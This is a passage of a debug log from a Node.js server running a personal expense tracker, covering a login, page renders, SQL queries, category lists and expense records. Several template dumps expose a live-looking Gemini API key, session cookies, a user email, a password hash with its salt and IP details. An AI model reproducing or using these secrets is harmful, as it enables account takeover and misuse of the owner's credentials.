    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AX4syas%2BW52SRL8GUQFDWvg%3D%3D.uobaIc%2BHVwvdoFGF5ZjFZyh4%2BWaCXt1tiHEd3PLnVgO45SVcLX1rkMCjtUx0z6ZJPOTgeXamJe6AmU8P6mi80AvSaO04ihotdfVtZgFp%2BWa3mVhtE27rw%2BmwxFJI3s%2FkcE%2Bxr9N7lghqjkIhNjmOIu%2BRvbGVsMkQCk%2FiiUFuAhw%3D.3QkGv7zB1NSKO6YZ16c72PKLL7SNVXJSvMEdT4KTk2k; your_r_git.sid=s%3AFFBXwIU1aV7RMz8CUgfDhDo30InLO_mU.0W0kxOW8ZJNXb%2FZcyCg650LItvc8byKSUXj4YYJG0Ms',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/login'
}
2025-12-13T13:20:11.843Z server-connect:router Serving serverConnect /api/access-control/login
2025-12-13T13:20:11.844Z server-connect:app Executing action step identify
2025-12-13T13:20:11.844Z server-connect:app options: { provider: 'security' }
2025-12-13T13:20:11.844Z server-connect:output identity: 1
2025-12-13T13:20:11.844Z server-connect:app Executing action step login
2025-12-13T13:20:11.844Z server-connect:app options: {
  provider: 'security',
  remember: 1,
  username: '{{$_POST.email}}',
  password: "{{$_POST.password.sha256('yajnas')}}"
}
2025-12-13T13:20:11.846Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-13T13:20:11.897Z server-connect:output identity: 1
2025-12-13T13:20:11.897Z server-connect:app Executing action step restrict
2025-12-13T13:20:11.897Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T13:20:11.897Z server-connect:output restrict: undefined
2025-12-13T13:20:12.113Z server-connect:router Serving templateView /
2025-12-13T13:20:12.113Z server-connect:app Executing action step identify
2025-12-13T13:20:12.113Z server-connect:app options: { provider: 'security' }
2025-12-13T13:20:12.113Z server-connect:output identity: 1
2025-12-13T13:20:12.113Z server-connect:app Executing action step restrict
2025-12-13T13:20:12.113Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T13:20:12.114Z server-connect:output restrict: undefined
2025-12-13T13:20:12.114Z server-connect:app Executing action step restrict
2025-12-13T13:20:12.114Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T13:20:12.114Z server-connect:output restrict: undefined
2025-12-13T13:20:12.114Z server-connect:router Render template layouts/main
2025-12-13T13:20:12.115Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/login',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fd6d-dk4f1fHWsTzJ3kz6UQS8GuV3HG0"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AMuLB3%2FzGs2fzEmPFKThS5w%3D%3D.KjoCGQW5mH%2Fl82KYMdgA0Mya9ql%2FuEUj4Yh%2B%2FYirTEFvfXR8XbFlE8DUGgRfpgGcVHgO801SwIbuSLDlmYFX2EY76gmjji%2BLw1sGYvz1mpGDCnKpn8tsWiQLUJ%2BVYgYhY%2FrsIChTQzTurAXDbpY%2B5AfaL9Y7fr54VSK7uB5R3V0%3D.rdSmePIe19EP7aLWTq97JNm3BRZIC5f5hXsaHQj8lWg; your_r_git.sid=s%3AuPSkpRPN-LydnLUHfl-fh8ubiOo9U9p4.7wasnoN1Vhc%2FfdIWOAAPSNdUV3LLuOQWcfjxASASOqA',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-14T13:20:11.898Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/login',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fd6d-dk4f1fHWsTzJ3kz6UQS8GuV3HG0"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AMuLB3%2FzGs2fzEmPFKThS5w%3D%3D.KjoCGQW5mH%2Fl82KYMdgA0Mya9ql%2FuEUj4Yh%2B%2FYirTEFvfXR8XbFlE8DUGgRfpgGcVHgO801SwIbuSLDlmYFX2EY76gmjji%2BLw1sGYvz1mpGDCnKpn8tsWiQLUJ%2BVYgYhY%2FrsIChTQzTurAXDbpY%2B5AfaL9Y7fr54VSK7uB5R3V0%3D.rdSmePIe19EP7aLWTq97JNm3BRZIC5f5hXsaHQj8lWg; your_r_git.sid=s%3AuPSkpRPN-LydnLUHfl-fh8ubiOo9U9p4.7wasnoN1Vhc%2FfdIWOAAPSNdUV3LLuOQWcfjxASASOqA',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-13T13:20:12.658Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-13T13:20:12.659Z server-connect:app Executing action step identify
2025-12-13T13:20:12.659Z server-connect:app options: { provider: 'security' }
2025-12-13T13:20:12.659Z server-connect:output identity: 1
2025-12-13T13:20:12.659Z server-connect:app Executing action step restrict
2025-12-13T13:20:12.659Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T13:20:12.661Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-13T13:20:12.661Z server-connect:output restrict: undefined
2025-12-13T13:20:12.661Z server-connect:app Executing action step select
2025-12-13T13:20:12.661Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-13T13:20:12.662Z server-connect:app Executing action step identify
2025-12-13T13:20:12.662Z server-connect:app options: { provider: 'security' }
2025-12-13T13:20:12.662Z server-connect:output identity: 1
2025-12-13T13:20:12.663Z server-connect:app Executing action step restrict
2025-12-13T13:20:12.663Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T13:20:12.663Z server-connect:output restrict: undefined
2025-12-13T13:20:12.663Z server-connect:app Executing action step single
2025-12-13T13:20:12.663Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-13T13:20:12.664Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-13T13:20:12.665Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-13T13:20:30.828Z server-connect:router Serving templateView /expense/list
2025-12-13T13:20:30.828Z server-connect:app Executing action step identify
2025-12-13T13:20:30.828Z server-connect:app options: { provider: 'security' }
2025-12-13T13:20:30.828Z server-connect:output identity: 1
2025-12-13T13:20:30.828Z server-connect:app Executing action step restrict
2025-12-13T13:20:30.828Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T13:20:30.829Z server-connect:output restrict: undefined
2025-12-13T13:20:30.829Z server-connect:router Render template expense/list
2025-12-13T13:20:30.829Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"macOS"',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/expense/list',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"2b68-B9oZT3XHQSJEbivxBfqAVC9dYcw"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AMuLB3%2FzGs2fzEmPFKThS5w%3D%3D.KjoCGQW5mH%2Fl82KYMdgA0Mya9ql%2FuEUj4Yh%2B%2FYirTEFvfXR8XbFlE8DUGgRfpgGcVHgO801SwIbuSLDlmYFX2EY76gmjji%2BLw1sGYvz1mpGDCnKpn8tsWiQLUJ%2BVYgYhY%2FrsIChTQzTurAXDbpY%2B5AfaL9Y7fr54VSK7uB5R3V0%3D.rdSmePIe19EP7aLWTq97JNm3BRZIC5f5hXsaHQj8lWg; your_r_git.sid=s%3AuPSkpRPN-LydnLUHfl-fh8ubiOo9U9p4.7wasnoN1Vhc%2FfdIWOAAPSNdUV3LLuOQWcfjxASASOqA',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-14T13:20:11.898Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/expense/list',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/expense/list',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/expense/list',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"2b68-B9oZT3XHQSJEbivxBfqAVC9dYcw"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AMuLB3%2FzGs2fzEmPFKThS5w%3D%3D.KjoCGQW5mH%2Fl82KYMdgA0Mya9ql%2FuEUj4Yh%2B%2FYirTEFvfXR8XbFlE8DUGgRfpgGcVHgO801SwIbuSLDlmYFX2EY76gmjji%2BLw1sGYvz1mpGDCnKpn8tsWiQLUJ%2BVYgYhY%2FrsIChTQzTurAXDbpY%2B5AfaL9Y7fr54VSK7uB5R3V0%3D.rdSmePIe19EP7aLWTq97JNm3BRZIC5f5hXsaHQj8lWg; your_r_git.sid=s%3AuPSkpRPN-LydnLUHfl-fh8ubiOo9U9p4.7wasnoN1Vhc%2FfdIWOAAPSNdUV3LLuOQWcfjxASASOqA',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-13T13:20:31.056Z server-connect:router Serving serverConnect /api/expense/list
2025-12-13T13:20:31.057Z server-connect:router Serving serverConnect /api/masters/get-tags
2025-12-13T13:20:31.057Z server-connect:app Executing action step identify
2025-12-13T13:20:31.057Z server-connect:app options: { provider: 'security' }
2025-12-13T13:20:31.057Z server-connect:output identity: 1
2025-12-13T13:20:31.057Z server-connect:app Executing action step restrict
2025-12-13T13:20:31.057Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T13:20:31.057Z server-connect:app Executing action step identify
2025-12-13T13:20:31.057Z server-connect:app options: { provider: 'security' }
2025-12-13T13:20:31.058Z server-connect:output identity: 1
2025-12-13T13:20:31.058Z server-connect:app Executing action step restrict
2025-12-13T13:20:31.058Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T13:20:31.058Z server-connect:output restrict: undefined
2025-12-13T13:20:31.058Z server-connect:app Executing action step paged
2025-12-13T13:20:31.058Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'expense' },
    primary: 'id',
    joins: [ [Object], [Object] ],
    query: 'select `expense`.`invoice_number`, `expense`.`quantity`, `expense`.`purchase_date`, `expense`.`receipt_url`, `expense`.`remark`, `expense`.`amount`, `sc`.`subcategory_name` as `item_name`, `c1`.`name` as `unit` from `expense` inner join `sub_categories` as `sc` on `sc`.`id` = `expense`.`category_id` inner join `collections` as `c1` on `c1`.`id` = `expense`.`unit` where (`expense`.`amount` = ? or `sc`.`subcategory_name` like ? or `c1`.`name` like ?) order by `expense`.`purchase_date` DESC',
    orders: [ [Object] ],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2025-12-13T13:20:31.059Z server-connect:output restrict: undefined
2025-12-13T13:20:31.059Z server-connect:app Executing action step select
2025-12-13T13:20:31.059Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'm_tags' },
    primary: 'id',
    joins: [],
    query: 'select `id`, `tag` from `m_tags`'
  }
}
2025-12-13T13:20:31.060Z server-connect:output list: [
  { id: 1, tag: 'Gadgets' },
  { id: 2, tag: 'Waste of money' },
  { id: 3, tag: 'Relax' },
  { id: 4, tag: 'Luxury' },
  { id: 5, tag: 'Needs' },
  { id: 6, tag: 'Swiggy' },
  { id: 7, tag: 'Zomato' },
  { id: 8, tag: 'Bills' },
  { id: 9, tag: 'EMIs' },
  { id: 10, tag: 'Blinkit' },
  { id: 11, tag: 'Instamart' }
]
2025-12-13T13:20:31.068Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 1955,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 1950 },
    current: 1,
    total: 79
  },
  data: [
    {
      invoice_number: 1239,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '189.00',
      item_name: 'Clothing',
      unit: 'Other'
    },
    {
      invoice_number: 1244,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '300.00',
      item_name: 'Gas Bill',
      unit: 'Other'
    },
    {
      invoice_number: 1237,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '95.00',
      item_name: 'App Subscription',
      unit: 'Other'
    },
    {
      invoice_number: 1238,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '348.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
